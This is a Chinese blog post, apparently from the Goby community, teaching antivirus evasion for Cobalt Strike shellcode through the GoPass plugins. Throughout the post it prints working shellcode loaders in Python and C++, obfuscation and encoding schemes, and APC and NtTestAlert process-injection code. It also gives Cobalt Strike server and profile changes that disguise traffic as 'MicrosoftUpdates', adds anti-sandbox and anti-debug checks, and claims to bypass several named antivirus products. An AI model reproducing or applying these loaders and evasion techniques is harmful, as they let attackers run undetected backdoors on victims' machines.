GoPass系列免杀基础(一)

在这里插入图片描述

Goby社区第 23 篇插件分享文章

全文共:7730 字 预计阅读时间:20 分钟


小板凳提示:过数字全家桶(开启晶核)、某绒、卡巴、WD、某管家、魔法保姆、机器人、橘子,全程新手简单版,欢迎师傅们来交流: hututuZH。


0✖01 插件效果

在这里插入图片描述


# 0×02 什么是shellcode

在 CS 中,attacks-packages-payload generator 选择监听端口,可以生成 C 文件。

在这里插入图片描述
在这里插入图片描述

在这个文件中保存着 CS 的 Shellcode。Shellcode 为可执行的 16 进制机器码,因为经常让攻击者获得 shell 而得此名字。

在这里插入图片描述

这个生成出来的 Shellcode 是分离式的。它的功能为:远程请求 CS 服务器,反射加载执行返回的 beacon.dll 后门模块。分离式的优点就是 Shellcode 体积小,编译出来的文件小。缺点就是开辟空间的函数等等敏感函数固定,写死在了这个 Shellcode 中,容易被杀软 hook 识别。


0×03 什么是加载器

Shellcode 是可执行的 16 进制机器码,需要执行的话它就需要用到 Shellcode 加载器。

Shellcode 加载器的主要功能:开辟内存空间–将 Shellcode 放入内存空间–指针指向 Shellcode 地址执行。

以 Goby 的 GoPassPython 插件来说:

这个是用 Python 语言作为 Shellcode 的加载器执行 Shellcode 的,它的步骤:开辟空间–写入内存空间–然后执行。可以尝试放入自己的 Shellcode 执行一下。

import ctypes
shellcode = b"\xfc\xfc" #你的shellcode
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleob ject(ctypes.c_int(handle),ctypes.c_int(-1))

0×04 如何加密解密

CS 生成的 Shellcode 可以获得目标主机的 shell,然而这个 Shellcode 的很多函数都是固定的,存在 CS 自己的特征,杀软可以记录这个特征,在没有执行前就轻易识别然后告警,这也就是静态识别。

简单来说,假设有毒的苹果是黑的,没毒的苹果是红的这个命题成立。

现在我给你黑苹果,你看一眼就知道有毒。如何让这个苹果洗白转为红苹果,让它合格的让你分辨不出来,这个就是最重要的过程,也是免杀的最重要过程,这个过程就是对 Shellcode 的加密解密。

还是以 Goby 的 GoPassPython 插件来说:

GoPassPython 是使用 Python 语言编写的免杀文件,通过 pyinstaller 进行将 py 文件打包成 exe。自身需要通过其他软件进行打包,导致了 pyinstaller 打包后的特征特别明显,所以后面插件都放弃使用该语言进行免杀。

因为 Python 自身为解释型语言,Python 中存在 exec 函数,能够执行储存在字符串或文件中的 Python 语句,exec() 能够动态地执行复杂的 Python 代码,所以免杀很简单。

首先将 Shellcode 放入上面的加载器后,一同连加载器整体先进行 ba se64 编码。

在这里插入图片描述

现在无法看出他是 Shellcode 加载器了,除非你会肉眼 ba se64 解密。但是软件面对的是机器,所以 ba se64 解密对杀软而言,并不难,简单的 ba se64 并不能很好的免杀,所以需要加入小众的加密算法。

可以加入自定义的一个加密函数,将 ba se64 编码后的字符串再次自加密。

def encrypt(key, s):b = bytearray(s.encode("utf-8"))n = len(b)c = bytearray(n * 2)j = 0for i in range(0, n):b1 = b[i]b2 = b1 ^ key  # b1 = b2^ keyc1 = b2 % 16c2 = b2 // 16  # b2 = c2*16 + c1c1 = c1 + 65c2 = c2 + 65  #c[j] = c1c[j + 1] = c2j = j + 2return c.decode("utf-8")

其中变量 key 是随机的,也就是每次加密后都不一样,加密后的字符串和最原始的比较:

在这里插入图片描述

可以明显看见,加密后无规律可寻,那么杀软的静态就无法识别出这是个有毒的文件。

再在执行之前解密就行,杀软没有 key 也没办法知道怎么解密,所以过杀软轻轻松松。最后,因为 Python 是解释型弱类型语言,所以可以使用 exec() 函数进行内存运行这个加解密并执行 Shellcode,整体免杀过程就是这样,非常简单。

在这里插入图片描述


0×05 GoPassC 天青

5.1 Shellcode

还是 CS 中的 attacks-packages-payload generator 生成的分离式 Shellcode

5.2 加载器

这是一个以 C++ 为语言的加载器,C++ 有很多 Shellcode 加载器,远程注入等等多种多样的,有些被杀软特征记录,那么就需要换一个不被记录的。

在这里插入图片描述

GoPassC 天青选择的加载器还是那三步走,开辟空间-写入空间-执行 Shellcode:

HANDLE mimi = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);void* jiamijiami = HeapAlloc(mimi, 0, 0x100000);RtlMoveMemory(jiamijiami, b, sizeof(b));CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)jiamijiami, NULL, 0, 0);

5.3 加密解密

Shellcode 一般都是这样写入 cpp 文件中的

char shellcode[] = “\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc”;
它是 16 进制的机器码,那么 char 类型还可以将 Shellcode 转为 ascii 码,C 语言也是会识别,这里可以用 Python 的 ord 函数,简单方便。在这里插入图片描述

在这里插入图片描述
这有什么用呢?这样就可以在数字基础上进行加法减法运算,比如 a 的为 97,那么在 a 的基础上 97+1=98 识别后就变为了 b,而不是原来的 a,这样可以进行绕过。但是该加密解密太过简单,需要换个复杂的加密解密。

由上可得 ascii 可以被识别,所以可以全部转换为 0-255 的数字,那么他们肯定会有重复的,一段 Shellcode 里面肯定不止一个 \xfc 这个十六进制。在这里插入图片描述

而且每个十六进制占一位,并且自己有位置编号,可以将他们提出来总结,并且 ascii 编码(\xfc为252 \xbb为187 \xaa为170),这样我们有 ascii 码,有数量,有位置,就可以还原回去。

ASCII数量位置
25230,3,4
18711
17012

这样杀软根本无法识别和解密,用多维数组的结构进行存储这样的数据再合适不过了。

int a[][100] = {
{252,3,0,3,4},
{187,1,1},
{170,1,2}}

最后用 for 循环去读取赋值到一个 char 数组里就行了:

Char b[1500]=””;
int width = sizeof(a) / (sizeof(a[0])); //获取a数组有多少行
for (int i = 0; i < width; i++) {
for (int j = 0; j < a[i][1]; j++) {
b[a[i][j + 2]] = a[i][0];
}
}

测试时发现某全家桶是不会进行拦截的,但是某软还是会进行拦截。

前提 Shellcode 已测试过单独运行不被拦截,那么现在需要排查的这个加密是不是太过简单,而且这样需要考虑到,大批量用户使用时,很多十六进制都是固定的,那么也会被特征标记,如果全家桶拦了,相信你也可以动手改一改,你可以将 ascii 码加上一个数如 252+200=457,载入时,再减去。再比如不用第二位存数量,改为第三位,第四位,或者加上一个数,载入时再减去。再比如位置那里也可以批量加一个数字,载入时再减去等等。

既然某软拦截了,就必须找到为什么拦截。我在代码中加入一个判断,如下:


Int a=123;
if(a==1{
Shellcode加载执行代码
}

发现不报毒,这里只提示到这,多思考为什么,你就能一行代码免杀某软(GoPassC 天青中没有进行绕过)。


0×06 GoPassC 昆仑

6.1 插件需求

在 HVV 期间遇到某软等多个杀软拦截,且内网需要中转上线,所以必须用到不分阶段的 Shellcode 进行免杀。

该插件的目标:

  1. 支持对不分阶段 beacon.bin 进行免杀,且支持分阶段 payload.c 文件进行免杀。

  2. 编译环境配置一键化

  3. 生成过程一键化

  4. 免杀范围广

  5. 加入反沙盒延长免杀时效

6.2 CS端口特征更改

在安装 CS 的过程中,CS 的服务端 teamserver 文件中的存在着端口信息。在这里插入图片描述

可以将端口 50050 改为其他的端口。在这里插入图片描述

6.3 流量加密及内存部分特征隐藏

6.3.1 store文件更改

在 CS 服务端目录下,存在默认的 cobaltstrike.store 文件,需要重新生成。在这里插入图片描述

通过 keytool -h 可以看到相关的相关的生成命令,具体的自行查阅相关文章进行学习。在这里插入图片描述


keytool -genkey -alias bypass -keyalg RSA -validity 36500 -keystore bypass.store

自己设置相关密码,根据提示设置相关信息即可生成新的文件。在这里插入图片描述

6.3.2 profile文件流量特征更改

具体更改请查阅其他文章进行学习,本文只指出重点。必须填入刚才生成的 store 文件名称和密码,还有相关的配置信息。

https-certificate {
set password "MicrosoftUpdates";  
set keystore "MicrosoftUpdates.store";
}
https-certificate {
set CN
"US";
set O
"MicrosoftUpdates";
set C
"en";
set L
"US";
set OU
"MicrosoftUpdates";
set ST
"US";
set validity "365";
}

然后对 get 或 post 请求字符串进行加密和更改前几个字节和后几个字节信息,避免找到相关特征。在这里插入图片描述

6.3.3 profile文件内存特征更改

通过修改 stage 修改部分载入内存的字符特征,修改前几个字符,和替换 ReflectiveLoader,beacon 关键字,和替换 beacon.dll 的名字,在睡眠时间对内存进行混淆,抹去存放在内存中的反射 DLL 等等等等。由此可见要好好利用 stage 标签,它是非常强大的。在这里插入图片描述

6.4 新的shellcode加载器

基础版:

APC 注入的原理是利用当线程被唤醒时 APC 中的注册函数会被执行的机制,并以此去执行我们的 DLL 加载代码,进而完成 DLL 注入的目的,其具体流程如下:

1.当 EXE 里某个线程执行到 SleepEx() 或者 WaitForSingleob jectEx() 时,系统就会产生一个软中断。

2.当线程再次被唤醒时,此线程会首先执行 APC 队列中的被注册的函数。

3.利用 QueueUserAPC() 这个 API 可以在软中断时向线程的 APC 队列插入一个函数指针,如果我们插入的是 Loadlibrary() 执行函数的话,就能达到注入 DLL 的目的。


UINT shellcodeSize = sizeof(a);
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\dllhost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
HANDLE victimProcess = pi.hProcess;
HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, a, shellcodeSize, NULL);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
ResumeThread(threadHandle);
while (1) {};

增强版:

NtTestAlert 是一个未公开的 Win32 函数,该函数的效果是如果 APC 队列不为空的话,其将会直接调用函数 KiUserApcDispatcher 处理用户 APC,如此一来排入的 APC 可以立马得到运行。

hututuZHNtTestAlert hututuZHAlert = (hututuZHNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
SIZE_T shellSize = sizeof(a);
LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellAddress, a, shellSize, NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
hututuZHAlert();

6.5 新的加密方法

由 Gopassc 天青的加密方式,16 进制转 ascii 码,再对数字进行加减运算,记录位置等等,但对于一个文件而言,数字太多是不正常的。正常的代码中是不会有很多很多数字的,改良加密方法:将数字改为英文字母,将索引作为 ascii 的值。

可以利用的字母一共 26 个大写,26 个小写,共计 52 个。随机抽取 5 个字母,与其余 52 个排列组合,共有 52x5=260 个结果,超过了 0-255 范围,将 260 个结果的索引作为 ascii 的值去还原 Shellcode 即可。

举例来说抽取 ab 作为第一个字母,ab 作为第二个字母,共组合有 [aa,ab,ba,bb]4 中结果

char shellcode[] = "\x00\x00\x01\x02\x03\x04\x00\x01";

转换为 ascii 即为:[0,0,1,2,3,4,0,1]

对应的字母即为 shellcode=[aa,aa,ab,ba,bb,aa,ab]

每次加密都是随机取的字母,所以每次结果都不一样,既减少了数字的出现,又混淆了 Shellcode。

6.6 加入反沙盒

加入反沙盒机制,测试对象某步,某恒,某勃,某信。

原理通过 wmic 命令来查询机器信息判断是否处于沙盒环境,注意此处不针对虚拟机,只针对沙盒,SELECT * FROM CIM_Slot 这条命令可以判断出绝大多数的沙盒。用 C++ 实现相关代码,其中优化对某恒的 win7 下的沙盒环境判断:

通过沙盒桌面的特定文件来判断是否处于沙盒中,可见虚拟机的桌面中存在很多文件,其中有 amd.pptx 和 Balance.jpg 两个文件,用 C++ 代码判断两个文件同时存在,存在即为沙盒中。在这里插入图片描述

6.7 加入反调试

加入反调试不是重点,因为源码都给了,没有太多必要,所以只加入简单功能,主要还是来检测是否在沙盒环境,尽可能的延长免杀时间,加入的反调试功能为检测 SeDebugPrivilege。mimikatz 时,第一条命令 privilege::debug 其实开启的就是 SeDebugPrivilege 特权,正常用户是不会开启这种特权的。

6.8 最终效果

6.8.1 沙盒环境

肯定有师傅会放入沙盒测试,那我先帮你们测了,仅测试以下几种,其他自行测试:

1.某恒:在这里插入图片描述

2.某步:在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.某勃:在这里插入图片描述

4.某信:
在这里插入图片描述
在这里插入图片描述

6.8.2 杀软环境

仅测试一下几种常见杀软,其他的请自行测试后使用,使用的带图标增强版:

数字全家桶(开启晶核版本,WIN10 物理机环境):

卡巴( WIN11 虚拟机环境):
在这里插入图片描述

WD10( WIN10 物理机环境):
在这里插入图片描述

WD11( WIN11 虚拟机环境):

在这里插入图片描述

某绒( WIN10 物理机环境):

在这里插入图片描述

某管家( WIN10 物理机环境):

在这里插入图片描述

魔法保姆( WIN11 虚拟机环境):

在这里插入图片描述

机器人( WIN11 虚拟机环境):

使用的带图标基础版本

在这里插入图片描述

橘子( WIN11 虚拟机环境)

在这里插入图片描述


插件开发文档:

https://gobies.org/docs.html

关于插件开发在B站都有详细的教学,欢迎大家到弹幕区合影~

https://www.bilibili.com/video/BV1u54y147PF/

Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell 等文章均可),审核通过后可加 5000-10000 社区积分哦,我们在积分商城准备了好礼,快来加入微信群体验~~~

戳这里领取一份插件任务吧!

https://github.com/gobysec/GobyExtension/projects

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值